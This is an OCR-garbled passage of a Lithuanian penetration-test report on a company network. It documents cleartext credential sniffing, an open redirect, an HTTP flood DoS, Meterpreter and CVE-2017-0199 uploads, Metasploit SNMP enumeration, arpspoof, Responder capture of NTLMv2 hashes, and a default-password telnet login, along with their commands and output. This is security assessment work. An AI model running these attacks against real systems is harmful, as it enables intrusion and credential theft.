(228 Sveiki atwyk—0 --:ﬂ.--hil'J SErver—i.

AUTH TLS

502 SEL/TLSE authentication not allowed

10 pav. FTP serveris atsisako uzmegzti Sifruotg kanalg

Eksperimento metu pastebéta, kad nesudétingai galima iSgauti prisijungimo duomenis vykdant tinklo
srauto perémimo atakg (11 pav.).

Ml Foliow TEP Stream =l ]

Stream Conbent

220 sveiki atwyk.. .. ftp server...
USER docs

3131 pPassword required for docs

PASS docs

230 Logged on
11 pav. FTP protokolu perduodamo slaptazodZio perémimas

Eksperimento metu buvo tikrinama ar prisijungimo duomenis galima perimti juos siunc¢iant HTTP
protokolu prie http://bbb.aaa.lt/ENDOWeb/Autorizacija.aspx administravimo panelés (12 pav.).
Pastebéta, kad galima perimti prisijungimo duomenis.
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12 pav. HTTP protokolu perduodamo slaptazodzio perémimas

Eksperimento metu pastebéta, kad vartotojy prisijungimo duomenys yra perduodami atviro teksto
protokolais — nesSifruotai.

Siame darbe buvo atliktas iSorinio IT&T tinklo duomeny saugumo paZeidziamumy patikrinimas,
kurio metu atliktas patikrinimas nustatant neapsaugotus nukreipimus i kitg tinklapj. Piktavaliai
panaudodami §] pazeidziamumga gali nukreipti lankytojus j kenké¢jiSkus puslapius naudodami
duomeny vagystés atakas. Nukreipus svetainés lankytojus j uzkréstg puslapj piktavalis gali vykdyti
atakas pries vartotojy narSykles bei taip uzkrésti lankytojy sistemas.

Neapsaugotus nukreipimus } kitg tinklap; pazeidziamumy vieta kibernetinés atakos vektoriuje
pavaizduota 13 pav.

. Ginkla-._ Prista-\,
vimasis  tymas

Zvalgyba

13 pav. Neapsaugotus nukreipimus j kitg tinklapj pazeidziamumy vieta kibernetinés atakos vektoriuje

Neapsaugotus nukreipimus ] kitg tinklapi pazeidziamumams identifikuoti Siame darbe buvo atlikti
eksperimentai.

Eksperimenty metu pastebéta, kad interneto serveryje bbb.aaa.lt talpinama interneto aplikacija
netinkamai filtruoja vartotojo perduodamus duomenis tod¢l svetainés vartotojus piktavalis gali
nukreipti 1 kitg puslapj. Uztenka apsilankyti adresu:
https://bbb.aaa.lt/ Account.aspx/ChangeCulture?lang=en&returnUrl=https://www.sec-consult.com ir
serverio gragzinamame atsakyme vietos (angl. /ocation) antrasté nurodo apie vykstantj nukreipima, o
vartotojo narSyklé interpretavusi tokj atsakyma nukreipia vartotoja i nurodyta (14 pav.):

HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=utf-8
Location: https://www.sec-consult.com
Server: Microsoft-11S/7.0
X-AspNetMvc-Version: 2.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

Date: Mon, 10 Apr 2018 06:37:33 GMT
Connection: close

Content-Length: 144

<html><head><title>Object moved</title></head><body>

<h2>Object moved to <a href="https://www.sec-consult.com">here</a>.</h2>
</body></html>
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€ Oa https://www.sec-consult.com c (] =

SEC Consult

ADVISOR FOR YOUR INFORMATION SECURITY

Home

Do vou have Vulnerabilities in vour Firmware? .
14 pav. Vartotojas nukreiptas j pasirinkta puslapi

Siame darbe buvo atliktas iSorinio IT&T tinklo saugumo patikrinimas nustatant atsparuma DoS
atakoms.

Aplikacijos lygmens uztvindymo atakos panaudoja dizaino ir konfigiiracijos pazeidziamumus
aplikacijose siekiant sulétinti arba visiskai uzblokuoti pri¢jima prie aplikacijy teikiamy paslaugy. Sio
tipo atakos yra orientuotos i pavienés aplikacijos darbo sutrikdyma, skirtingai nuo visos sistemos
darbo sutrikdymo. Piktavaliui reikia daug maziau resursy ir pastangy norint sukelti atsisakymo
aptarnauti situacija, kadangi yra taikomasi j ribotus aplikacijos resursus. Kai atakuojanciyjy sistemy
skaiCius néra didelis tokios atakos jmanoma iSvengti tinklo ugniasien¢je apribojant TCP susijungimy
skaiiy tenkanciy vienam klientui tam tikrame laiko intervale.

Atsparumo DoS atakoms vieta kibernetinés atakos vektoriuje pavaizduota 15 pav.

3 b Ginkla- Prista
valgyba  * imasis © tymas /

15 pav. Atsparumo DoS atakoms vieta kibernetinés atakos vektoriuje

Atsparumo DoS atakoms identifikuoti Siame darbe buvo atliktas eksperimentas.

Kadangi ankstesniy eksperimenty metu nenustatyta pazeidziamumy www.aaa.lt WEB serverio
(Microsoft IIS 7.5) programinéje irangoje, buvo pasirinktas atakos tipas, imituojantis didelj unikaliy
vartotojy uzklausy kiekj siekiant panaudoti sistemos resursus, tokius kaip WEB serverio bei duomeny
bazeés gijas (angl. threads). Atsisakymo aptarnauti prieS www.aaa.lt svetaing atakos metu buvo
naudojama HTTP GET uztvindymo ataka. Jos metu siun¢iamos HTTP GET uzklausos, kuriomis
sickiama panaudoti WEB serverio ir duomeny bazés resursus. Atakai imituoti buvo naudojama 100
skirtingy IP turindios sistemos. Sioms sistemoms buvo nurodyta kreiptis http://www.aaa.lt adresu
siunc¢iant 10 uzklausy per sekunde. Ataka buvo vykdoma 22:00. Tokios apkrovos uzteko kad per
pirmas atakos minutes serveris tapty neprieinamas kitiems vartotojams (16 pav.).
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8 Error

The server is busy now. Try again later
Correlation ID::b42fec9d-a51c-70ec-138e-c531678dag24

Date and Time: 4/27/2017 10:06:10 PM

16 pav. Serverio grgzinama klaida atakos metu

Eksperimento metu nustatyta, jog www.aaa.lt WEB serveris nesugeba susidoroti su dideliu kiekiu
HTTP uzklausy ir po trumpo laiko atsisako aptarnauti kity vartotojy uzklausas.

Siame darbe buvo atliktas iSorinio IT&T tinklo saugumo patikrinimas nustatant kaip antivirusinés
sistemos susidoroja su zalingu kodu.

Ar per elektronin] pasta ar per WEB serverius patalpinus kenk¢jiSkus vykdomuosius failus,
piktavaliams leisty toliau skverbtis j sistemg bei gauti auksc¢iausias privilegijas.

Antivirusiniy sistemy susidorojimo su zalingu kodu pazedziamumy vieta kibernetinés atakos
vektoriuje pavaizduota 17 pav.

Ginkla- Prista-
vimasis  tymas

Zvalgyba

17 pav. Antivirusiniy sistemy susidorojimo su zalingu kodu pazedziamumy vieta kibernetinés atakos
vektoriuje

Antivirusiniy sistemy susidorojimo su Zalingu kodu pazedziamumams identifikuoti §iame darbe buvo
atlikti eksperimentai.

Eksperimenty metu buvo analizuojamas elektroninio pasto filtro bei WEB serveriuose jdiegty
antivirusiniy sistemy gebéjimas susidoroti su kenk¢jiskais failais. El. pasto filtro patikrinimo metu
buvo siunciami laiSkai su jvairaus plétinio ir pobtidzio (zalingo ir nezalingo turinio) priedais. Tokiu
biidu buvo tikrinamas Microsoft Forefront Protection for Exchange Server programinés jrangos
gebéjimas filtruoti kenkéjiskus failus, atkeliaujancius elektroninio laiSko priedo pavidalu. ]| WEB
serverius, kuriuose pavyko gauti faily jkélimo galimybe, buvo ikeliami jvairiis zalingi failai, kuriuos
naudoty realus piktavalis ataky metu.

Eksperimento metu siusty priedy sarasas:

1. Failai be Zalingo kodo:

1.1. Ivairiy plétiniy failai be kenkejisko kodo,
1.2. Ivairtis vykdomieji (bat, vbs, exe) failai paleidziantys Windows skaiciuotuva,
1.3. Vykdomasis dvigubo plétinio failas,
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1.4. Suarchyvuoti (zip, rar, rar5, 7z) vykdomieji (bat, vbs, exe) failai paleidziantys Windows

skaic¢iuotuva.

2. Zalingg kodg turintys failai:

2.1. EICAR pavyzdinis viruso failas,

2.2. Kenkéjiska macros koda turintys doc ir docm plétinio failai,

2.3. Zinomus paZeidziamumus panaudojantys biuro programy failai,

2.4. Suarchyvuotas (zip) EICAR pavyzdinis viruso failas,

2.5. Vieng ir du kartus suarchyvuoti (zip) Zinomus pazeidziamumus panaudojantys biuro
programy failai,

2.6. Suarchyvuotas (zip) kenkéjiska macros koda turintis docm plétinio failas,

2.7. Suarchyvuoti (zip, rar, rar5, 7z) zinomi kenkéjiski vykdomieji failai.

Siunciant failus be zalingo kodo buvo nustatyta, jog Microsoft Forefront Protection for Exchange
Server programing jranga pasalina visus vykdomuosius (bat, vbs, pif ir exe plétinio) nesuarchyvuotus
failus. Siunciant zip formatu suarchyvuota exe plétinio failg be zalingo kodo failas buvo taip pat
pasalintas. Vykdomieji failai be Zalingo kodo suarchyvuoti vieng kartg rar, 7zip arba dukart zip
formatu buvo sékmingai pristatyti | elektroninio pasto dézute. Tai leidzia manyti, jog specialiai
paruostas nezinomas vykdomasis failas taip pat praeity el. pasto filtra.

Eksperimento metu administratoriams buvo siystas permoka.rtf failas i§ vidinés pasto dézutés,
kuriame buvo kenkéjiskas CVE-2017-0199 kodas, taciau antivirusing $io failo neblokavo.

Eksperimento metu | bbb.aaa.lt ir bbb.aaa.lt WEB serverius buvo ikelti Metasploit meterpreter
kenkejiski vykdomieji failai, leidZiantys piktavaliui toliau skverbtis j sistema bei gauti aukSciausias
privilegijas. Tiek pirminiuose jsilauzimo zingsniuose jkeliant kenké&jiska PHP scenarijy, tiek
velesniuose jsilauzimo etapuose naudojant kenksmingg Metasploit meterpreter koda Sie failai nebuvo
blokuojami. Véliau perzitiréjus egzistuojan¢iy procesy sarasg buvo nustatyta, serveryje yra jdiegta
Microsoft Security Essentials programiné jranga, tadiau ji jokiy blokavimy neatliko. Zemiau pateiktas
bbb.aaa.lt WEB serveryje eksperimento metu nustatyti procesai:

C:\Oracle\Middleware\user_projects\domains\EvisPublicDomain>tasklist

tasklist

Image Name PID Session Name Session# Mem Usage
System Idle Process 0 Services 0 24 K
System 4 Services 0 300 K
SMSss.exe 336 Services 0 1.332K
csrss.exe 420 Services 0 11.196K
wininit.exe 472 Services 0 4.908K
csrss.exe 480 Console 1 6.944 K
winlogon.exe 504 Console 1 4.740K
services.exe 572 Services 0 12.892K
Isass.exe 580 Services 0 18656 K
Ism.exe 588 Services 0 6.600K
svchost.exe 688 Services 0 13.524K
svchost.exe 764 Services 0 14.888 K
MsMpEng.exe 844 Services 0 114.188K
LogonUl.exe 852 Console 1 16.668 K
svchost.exe 912 Services 0 20.156K
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svchost.exe 1008 Services 0 17408 K
svchost.exe 376 Services 0 18.728K
svchost.exe 464 Services 0 23.264K
svchost.exe 1060 Services 0 15.084K
spoolsv.exe 1192 Services 0 14.636 K
vmicsvc.exe 1220 Services 0 6.504K
vmicsvc.exe 1244 Services 0 10.868K
vmicsvc.exe 1268 Services 0 4720K
vmicsvc.exe 1292 Services 0 5072K
vmicsvc.exe 1320 Services 0 8916K
beasvc.exe 1356 Services 0 615352K
svchost.exe 1388 Services 0 10.388K
conhost.exe 1424 Services 0 3.600K
beasvc.exe 1432 Services 0 489.236 K
beasvc.exe 1452 Services 0 63.608K
conhost.exe 1484 Services 0 3120K
conhost.exe 1508 Services 0 3.136K
svchost.exe 1548 Services 0 5180K
svchost.exe 1580 Services 0 32.540K
svchost.exe 2900 Services 0 14508 K
svchost.exe 3256 Services 0 11.792K
svchost.exe 3312 Services 0 9204K
msdtc.exe 2396 Services 0 7.968K
Jjavasdk.exe 52880 Services 0 16256 K
svchost.exe 64508 Services 0 52.632K
conhost.exe 74516 Services 0 318K
java.exe 73940 Services 0 722.660 K
conhost.exe 79436 Services 0 3200K
conhost.exe 79464 Services 0 3200K
java.exe 73464 Services 0 2.242.340K
Jjava.exe 78700 Services 0 994452 K
Jjavahelps.exe 70940 Services 0 7416K
conhost.exe 73384 Services 0 3336K
bitsadmin.exe 73580 Services 0 3324K
cmd.exe 75628 Services 0 3912K
tasklist.exe 68004 Services 0 5740K
WmiPrvSE.exe 76912 Services 0 6.740K

Eksperimento metu nustatyta, jog tikrintuose WEB serveriuose néra jdiegta antivirusiné sistema,
sauganti nuo kenk¢jisko tipo faily.
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2 priedas. Vidinio UAB ,,Mokslas“ IT&T tinklo saugumo patikrinimo rezultatai
Siame darbe buvo atliktas UAB ,,Mokslas“ vidaus IT&T tinklo jrangos konfigiiracijos patikrinimas.

Siame darbe buvo atliktas prievady nuskaitymas norint nustatyti visus aktyvius vidinio tinklo
perimetro jrenginius bei atvirus prievadus. Buvo nustatyta, kad i§ kompiuterizuoty darbo viety tinklo
segmento yra pasiekiami bent jau Sie daugiausiai sistemy turintys potinkliai ir juose veikianc¢ios
sistemos:

- paslaugy potinklis;

- tinklo jrenginiy potinklis;
- DMZI1 potinklis;

- administratoriy potinklis;
- DMZ2 potinklis.

Siame darbe buvo nustatyta, kad i§ spausdintuvy potinklio segmento yra pasiekiamos sistemos
veikiancios Siuose potinkliuose:

- kompiuterizuoty darbo viety potinklis;
- administratoriy potinklis.

Siame darbe buvo atliktas vidaus IT&T tinklo jrangos saugumo patikrinimas nustatant ar vidinio
tinklo infrastruktiira yra apsaugota (technologinémis priemonémis) nuo nesankcionuoto tinklo ir
kompiuteriniy jrenginiy jrengimo.

Jeigu prie vidinio tinklo prijungtam svetimam tinklo jrenginiui bity i§ karto buvo suteikiamas IP
adresas naudojant DHCP protokolg tai piktavaliui buty galima pasiekti internetg ir vidinio tinklo
sistemas.

Neapsaugotos prieigos prie vidinio tinklo vieta kibernetinés atakos vektoriuje pavaizduota 1 pav.

Ginkla- Prista-
vimasis~ tymas

Zvalgyba

1 pav. Neapsaugotos prieigos prie vidinio tinklo vieta kibernetinés atakos vektoriuje
Neapsaugotai prieigai prie vidinio IT&T tinklo identifikuoti Siame darbe buvo atliktas eksperimentas.

Eksperimento metu buvo tikrinama ar yra neapsaugota prieiga prie vidinio tinklo t. y. buvo tikrinamos
spausdintuvy ir kompiuterizuoty darbo viety standartinés tinklo rozetés. Prijungus papildoma tinklo
irenginj buvo nustatyta, kad kompiuterizuoty darbo viety ir spausdintuvy tinklo segmentuose yra
naudojamas 802.1x autentifikacijos mechanizmas, kadangi prijungtam tinklo jrenginiui nebuvo
suteiktas [P adresas naudojant DHCP protokola.

Siame darbe buvo atliktas vidaus IT&T tinklo jrangos saugumo patikrinimas nustatant ar yra saugi
ugniasieniy konfigiiracija.

Nesaugios ugniasieniy konfigiiracijos pazedziamumy vieta kibernetinés atakos vektoriuje
pavaizduota 2 pav.
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Ginkla-\_ Prista-
vimasis~ tymas

Zvalgyba N

2 pav. Nesaugios ugniasieniy konfigiiracijos pazedziamumy vieta kibernetinés atakos vektoriuje.

Nesaugios ugniasieniy konfigiiracijos pazedziamumams identifikuoti Siame darbe buvo atliktas
eksperimentas.

Norint nustatyti, ar UAB ,,Mokslas* tinkle yra naudojamas Proxy serveris ir ar jis filtruoja kenk¢jiska
programine jranga, eksperimento metu buvo bandoma atsisiysti antivirusinés programinés jrangos
testavimui skirta EICAR failg i§ http://www.eicar.org/85-0-Download.html interneto svetainés.
EICAR failas buvo atsiystas sékmingai, tai leidzia manyti, kad filtruojantis Proxy serveris néra
naudojamas.

Siame darbe buvo atliktas vidaus IT&T tinklo jrangos saugumo patikrinimas nustatant SNMP
tarnybos standartinés konfigiiracijos pazeidziamumus.

SNMP protokolas yra naudojamas tinklo jrenginiy biiklés stebéjimui bei jy konfigtiracijos valdymui.
Autentifikacijos mechanizmas SNMPv1 ir SNMPv2c protokoluose yra paremtas taip vadinamais
~community strings*, kurie yra slaptazodzio analogas. Standartiné¢je SNMP tarnybos konfigiiracijoje
dazniausiai ,,community string“ reikSmé yra ,,public* ir ,,private®, tod¢l tai zinodamas piktavalis gali
1Sgauti sisteming informacijg, kurig galés panaudoti kituose jsilauzimo etapuose bei keisti jrenginio
konfigtiracijg.

SNMP tarnybos standartinés konfigiiracijos pazedziamumy vieta kibernetinés atakos vektoriuje
pavaizduota 3 pav.

_ Ginkla-_ Prista-
vimasis  tymas

Zvalgyba

3 pav. SNMP tarnybos standartinés konfigiiracijos pazedziamumy vieta kibernetinés atakos vektoriuje

SNMP tarnybos standartinés konfigtiracijos pazedziamumams identifikuoti Siame darbe buvo atliktas
eksperimentas.

Eksperimento metu buvo naudojamas pazeidziamumy panaudojimo jrankio Metasploit® modulis
snmp_enum i§ pazeidziamo tinklo jrenginio, kurio IP yra aaa.bbb.ccc.4, buvo iSgauta Zemiau pateikta
sistemin¢ informacija:

msf > use auxiliary/scanner/snmp/snmp_enum

msf auxiliary(snmp_enum) > set RHOSTS aaa.bbb.ccc.4
RHOSTS => aaa.bbb.ccc.17

msf auxiliary(snmp_enum) > exploit

[+] aaa.bbb.ccc.4, Connected.

[*] System information:

¢ https://www.metasploit.com/
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Host IP
Hostname
Description
Contact
Location
Uptime snmp
Uptime system
System date

s aaa.bbb.ccc.4
:SANIBCI-3

: Brocade 4Gb SAN Switch Module for IBM eServer BladeCenter

: Field Support.
: End User Premise.

2392 days, 01:53:12.59

[*] Network information:

IP forwarding enabled :no
Default TTL ;64

TCP segments received 21911929
TCP segments sent 21911310
TCP segments retrans 2400
Input datagrams 23510541
Delivered datagrams 23510361
Output datagrams 23509933
[*] Network interfaces:

Interface ;[ up ] ethO

1d 2805306369

Mac Address 200:05:1e:5e:ab:22
Type . ethernet-csmacd
Speed : 10 Mbps

MTU 21500

In octets 21143422150
Out octets 2185686753
Interface Sfup]lo

1d 805306370

Mac Address RN

Type : softwareLoopback
Speed ;0 Mbps

MTU 216436

In octets 2127875543

Out octets 2127875543
[]

[*] Listening UDP ports:

Local address ~ Local port
0.0.0.0 111

0.0.0.0 52357
aaa.bbb.ccc.4 161
aaa.bbb.ccc.4 32768
aaa.bbb.ccc.4 32769
aaa.bbb.ccc.4 32770

[*] Scanned I of 1 hosts (100% complete)



[*] Auxiliary module execution completed
Eksperimento metu buvo nustatyta, kad vidaus IT&T tinklo jrangos segmente veikiantys jrenginiai
naudoja standartinius SNMP prieigos slaptazodzius. Tod¢l tikétina, kad naudojant SNMP prieigos
slaptazodj private ir zinant specialius tinklo jrenginiui galiojanc¢ius SNMP objekty identifikatorius
taip pat jmanoma keisti jrenginio konfigtiracija.

Siame darbe buvo atliktas vidaus IT&T tinklo jrangos saugumo patikrinimas nustatant ar tinklo
jrangos konfigiiracija yra apsaugota ARP pakety klastojimo atakos.

ARP protokolas susieja MAC (angl. Message Authentication Code) adresus su IP adresais. RARP
protokolas daro atvirkstinj veiksma — MAC adresus susieja su IP adresais. Sio tipo ataka potencialiam
piktavaliui leidZia perimti tinklo duomeny srauta, kuris keliauja tarp tame paciame tinklo segmente
esanCiy sistemy. ARP pakety klastojimo atakos metu atakuojamoms sistemoms yra siunciami ARP
atsakymo paketai, kuriuose piktavalis nurodo savo sistemos MAC adresg. Tokiu budu, visi tinklo
susijungimai keliaus per piktavalio sistemg. Priklausomai nuo vidiniame tinkle naudojamy protokoly,
ARP pakety klastojimo ataka gali biit] panaudota konfidencialiy duomeny, tokiy kaip prisijungimo
slaptazodziai perduodami atviro teksto protokolais, perémimui.

ARP pakety klastojimo atakos vieta kibernetinés atakos vektoriuje pavaizduota 4 pav.

Ginkla- Prista-
vimasis  tymas

Zvalgyba

4 pav. ARP pakety klastojimo atakos vieta kibernetinés atakos vektoriuje

ARP pakety klastojimo atakos pazedziamumams identifikuoti Siame darbe buvo atliktas
eksperimentas.

Eksperimento metu buvo sumodeliuota ARP pakety klastojimo ataka, panaudojant Linux terpei skirtg
jrankj arpspoof’ i§ dsniff jrankiy rinkinio, kai aaa.bbb.ccc.114 IP adresg turin¢iai kompiuterizuoty
darbo viety tinklo segmento sistemai yra siunCiami suklastoti ARP paketai apsimetant
aaa.bbb.ccc.254 sistema — tinklo marSrutizatoriumi:

root@nessus:~# arpspoof -i eth0 -t aaa.bbb.ccc.114 aaa.bbb.ccc.254

88:ad:43:f3:b1:14 €0:69:95:35:71:29 0806 42: arp reply aaa.bbb.ccc.254 is-at 88:ad:43:f3:b1:14
88:ad:43:f3:b1:14 €0:69:95:35:71:29 0806 42: arp reply aaa.bbb.ccc.254 is-at 88:ad:43:f3:b1:14
88:ad:43:f3:b1:14 €0:69:95:35:71:29 0806 42: arp reply aaa.bbb.ccc.254 is-at 88:ad:43:f3:b1:14
88:ad:43:f3:b1:14 €0:69:95:35:71:29 0806 42: arp reply aaa.bbb.ccc.254 is-at 88:ad:43:f3:b1:14
88:ad:43:f3:b1:14 €0:69:95:35:71:29 0806 42: arp reply aaa.bbb.ccc.254 is-at 88:ad:43:f3:b1:14
88:ad:43:f3:b1:14 €0:69:95:35:71:29 0806 42: arp reply aaa.bbb.ccc.254 is-at 88:ad:43:f3:b1:14

Eksperimento metu naudojant tinklo srauto analizés jrankj Wireshark® buvo analizuojami per
potencialaus piktavalio sistemg keliaujantys tinklo paketai. Eksperimento metu buvo identifikuota
komunikacija tarp vidinio tinklo sistemy aaa.bbb.ccc.114 ir aaa.bbb.ccc.9, kurios metu komunikacijai
naudojamas nesifruotas HTTP protokolas, todél slaptazodziai yra perduodami atviru tekstu (5 pav.).

" http://www.monkey.org/~dugsong/dsniff/
8 https://www.wireshark.org/
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v HTHL Form URL Encodedr—sprisremtis S s d
» Form itém: “pma_usgrname™ = "Sec_user
» Form Lrém: "pma_pagsword” = "se&c_password’
= Form 10em: “server” = "1
#* Form item: “token” = "TbbSiGlbebfcebclefll3das46341ETd

5 pav. Tinklo srauto perémimas, slaptazodziy perdavimas atvirtu tekstu

Pastebéta, kad vidinio IT&T tinklo jrangos konfigtiracija néra apsaugota nuo ARP pakety klastojimo
atakos.

Siame darbe buvo atliktas vidaus IT&T tinklo jrangos saugumo patikrinimas nustatant tinklo jrangos
konfigiiracija yra apsaugota nuo NBNS / LLMNR pakety klastojimo atakos.

StandartiSkai Windows sistemos naudoja DNS protokolg norédamos nustatyti sistemos IP adresa,
tatiau esant klaidai yra griztama prie NetBIOS vardy tarnyba (angl. Netbios Name Service-
NBNS/NBT-NS) protokolo, kurio uzklausos yra siunciamos iskart visoms tinklo segmento sistemoms.
Piktavalis gali suklastoti NBNS atsakyma, kuriame bus pateikiamas jo kontroliuojamos sistemos IP
adresas. Po to, kai pazeidziama sistema bandys komunikuoti su piktavalio sistema, o tai, priklausomai
nuo situacijos, gali biiti panaudota tinklo srauto arba autentifikacijos duomeny perémimui. Sio tipo
ataky s¢kmeé tiesiogiai priklauso nuo skiriamo laiko slaptazodziy parinkimui ir naudojamo
slaptazodzio sudétingumo. Windows Vista ir vélesnése operacinése sistemose taip pat yra
naudojamas LLMNR protokolas skirtas pakeisti pasenusj, tac¢iau vis dar naudojamga NBNS protokolg.
LLMNR protokolas atlieka analogiska funkcija.

NBNS / LLMNR pakety klastojimo atakos vieta kibernetinés atakos vektoriuje pavaizduota 6 pav.

Ginkla>. Prista-
vimasis -~ tymas

6 pav. NBNS / LLMNR pakety klastojimo atakos vieta kibernetinés atakos vektoriuje

Zvalgyba

LLMNR pakety klastojimo atakai identifikuoti Siame darbe buvo atliktas eksperimentas.

Eksperimento metu NBNS ir LLMNR pakety klastojimui bei autentifikacijos parametry perémimui
panaudotas jrankis Responder’. Eksperimento metu buvo sékmingai perimti dviejy vartotojy
autentifikacijos parametrai:

# responder -1 eth0 aaa.bbb.ccc. 120 -wrf

[-]

[SMBv2] NTLMv2-SSP Client : aaa.bbb.ccc.66

[SMBv2] NTLMv2-SSP Username : AAAAD\TVP-SCCM01$

[SMBv2] NTLMv2-SSP Hash : TVP-
SCCMO018::AAAAD:1122334455667788:F5C95422CFF5F1CI16D9D26959FFED7E7:0101000000000000C0653150D
E09D20152424A3FBE1888552000000000200080053004D004200330001001E00570049004E002D0050005200480034
0039003200520051004100460056000400140053004D00420033002E006C0O06F00630061006C000300340057004900
4E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006
C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008
00300030000000000000000000000000400000E8DY9D274BF985966F3EDC67315C995640AB903FCFDBI4FF48636
4EFEBEGASFF50A001000000000000000000000000000000000000900220063006900660073002F00310030002E003
10030002E00310030002E00310032003000000000000000000000000000

[SMBv2] NTLMv2-SSP Client : aaa.bbb.ccc.66

% https://github.com/SpiderLabs/Responder
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[SMBv2] NTLMv2-SSP Username . aaaad\administrator

[SMBv2] NTLMv2-SSP Hash :
administrator::aaaad:1122334455667788:6ADA23283D63444D639A79EEFE442262:0101000000000000C0653150D
E09D201FD3BECO88B399E93000000000200080053004D004200330001001E00570049004E002D005000520048003
40039003200520051004100460056000400140053004D00420033002E006C006F00630061006C00030034005700490
04E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006
C000500140053004D00420033002E006C0O06F00630061006C0007000800C0653150DE09D201060004000200000008
00300030000000000000000000000000400000E8DY9D274BF985966F3EDC67315C995640AB903FCFDBI4FF48636
4EFEBEGASFF50A001000000000000000000000000000000000000900220063006900660073002F00310030002E003
10030002E00310030002E00310032003000000000000000000000000000

[.]

Eksperimento metu slaptazodziai nebuvo s¢kmingai parinkti.

Siame darbe buvo atliktas vidaus IT&T tinklo jrangos saugumo patikrinimas nustatant kaip vidaus
tinklo jrangos administravimo sgsajoms yra naudojami standartiniai prisijungimo duomenys.

Potencialiis piktavaliai gali prisijungti prie tinklo jrangos administravimo sasajy ir pakeisti jos
konfigiiracijg. Priklausomai nuo tinklo jrangos paskirties, konfigiiracijos keitimas gali biti
panaudotas saugumo priemoniy i§jungimui, prieigos suteikimui prie kity tinklo segmenty ir tinklo
srauto perémimui.

Tinklo jrangos standartiniy slaptazodziy panaudojimo vieta kibernetinés atakos vektoriuje
pavaizduota 7 pav.

] . Ginkla>
\ \
Zvalgyba ~ vimasis

7 pav. Tinklo jrangos standartiniy slaptazodziy panaudojimo vieta kibernetinés atakos vektoriuje

Tinklo jrangos standartiniy slaptazodziy panaudojimui identifikuoti Siame darbe buvo atliktas
eksperimentas.

Eksperimento metu buvo bandyta prisijungti prie tinklo jrenginio turincio aaa.bbb.ccc.8 IP naudojant
standartini TELNET klientg ir slaptazodj admin:

telnet aaa.bbb.ccc.8
Connected to aaa.bbb.ccc.8.
Escape character is "'.

BNT Layer 2/3 Copper Gigabit Ethernet Switch Module for IBM BladeCenter.

Enter password:
System Information at 11:08:59 Thu Apr 27, 2018
Time zone: Europe/Lithuania

BNT Layer 2/3 Copper Gigabit Ethernet Switch Module for IBM BladeCenter

Switch has been up for 9 days, 6 hours, 37 minutes and 0 seconds.
Last boot: 11:12:16 Fri Mar 18, 2016 (power cycle)

MAC Address: 00:22:00:70:ce:00 Management IP Address (if 128): aaa.bbb.ccc.8
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PCTI unit 0: Dev 0x5695, Rev Ox11, Chip BCM5695 B0, Driver BCM5695_ A0
PCI unit 1: Dev 0x5695, Rev Ox11, Chip BCM5695 B0, Driver BCM5695_ A0

Software Version 1.5.9.0 (FLASH image2), active configuration.

PCBA Part Number:  317857-C
Hardware Part Number: 32R1866
FAB Number: EL4512029
Serial Number: YK52208B4558
Manufacturing Date: 0845
Hardware Revision: 6

Board Revision: 2

PLD Firmware Version: 1.0

Temperature Sensor 1 (Warning): 34.0 C (Warn at 77.0 C/Recover at 72.0 C)
Temperature Sensor 2 (Shutdown): 33.5 C (Shutdown at 90.0 C/Recover at 80.0 C)

Switch is in 1/O Module Bay 1

LANSWBL3>
Apr 27 11:08:59 LANSWBL3 NOTICE mgmt: admin(admin) login from host aaa.bbb.ccc.5
LANSWBL3>?
Exec commands:
console-log Enable session console logging
disable Turn off privileged commands
enable Turn on privileged commands
exit Exit from the EXEC
help Description of the interactive help system
interface Select an interface to perform operation
logout Exit from the EXEC
no Negate operational commands
password Change current user password
ping Send echo messages
primary-password ~ Set new password for primary server
router Perform router operational functionalities
secondary-password Set new password for secondary server
show Show running system information
telnet Open a telnet connection
terminal-length  Set the number of lines displayed per screen
traceroute Trace route
LANSWBL3>

Eksperimento metu nustatyta, kad vidaus IT&T tinklo jrangos administravimo sgsajoms yra
naudojami standartiniai prisijungimo duomenys.

Siame darbe buvo atliktas UAB ,,Mokslas“ kompiuterizuotos darbo viety saugumo patikrinimas.

Kompiuterizuoty darbo viety saugumo patikrinimo metu buvo tikrinimas UAB ,,Mokslas*
kompiuterizuoty darbo viety operaciniy sistemy ir jose veikianciy aplikacijy atnaujinimo lygis ir ar
jos néra pazeidziamos remiantis $iai dienai Zinomomis saugumo spragomis. Taip pat buvo tikrinimas
kompiuterizuoty darbo viety ir jose veikianciy aplikacijy konfigtiracijos saugumas, kuris leisty
vartotojams eskaluoti teises pasirinktoje sistemoje.
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Kompiuterizuoty darbo viety saugumo patikrinimo metu i§sami patikra buvo atlieckama standartinei
darbo vietai ir darbo vietoms veikian¢ioms aaa.bbb.ccc.0/24 kompiuteriniy darbo viety potinklyje ir
aaa.bbb.ccc.0/24 administratoriy potinklyje buvo atlickamas automatinis pazeidziamy nuskaitymas
turint tinklo prieiga.

Siame darbe buvo atliktas kompiuterizuoty darbo viety saugumo patikrinimas nustatant Windows
RDP tarnybos MiTM pazeidziamumus.

Windows RDP tarnybos MiTM pazedziamumy vieta kibernetinés atakos vektoriuje pavaizduota 8
pav.

Ginkla- Prista-

Zvalgyba vimasis tymas

8 pav. Windows RDP tarnybos MiTM pazedziamumy vieta kibernetinés atakos vektoriuje

Windows RDP tarnybos MiTM pazedziamumams identifikuoti Siame darbe buvo atliktas
eksperimentas.

Eksperimento metu buvo atliktas UAB ,,Mokslas® kompiuterizuotos darbo vietos saugumo
patikrinimas Windows RDP tarnybos MiTM pazeidZiamumams.

Standartiné RDP tarnybos konfigiiracija yra pazeidziama jsiterpiamo MiTM atakai. Konfigiiracijoje
néra nurodyta, kad prisijungimai bty leidziami tik naudojant saugius NLA (angl. Network Level
Authentication) ir/arba TLS protokolus kartu su patikimu SSL sertifikatu. Sie protokolai leidZia
patvirtinti serverio tapatybe, todél apsaugo nuo MiTM ataky. Taip pat standartinéje RDP tarnybos
konfigiiracijoje yra nustatytas vidutinis Sifravimo lygis. Tokia konfigiiracija palengvina perimty
komunikacijy tarp kliento ir pazeidziamo serverio i$Sifravimg. Taikant MiTM ataka piktavalis gali:

- Paleisti DoS ataka;

- Perimti duomenis;

- Suzinoti Jisy slaptazodzius;

- Manipuliuoti duomenimis;

- Perimti / naudoti VoIP telefony skambucius.

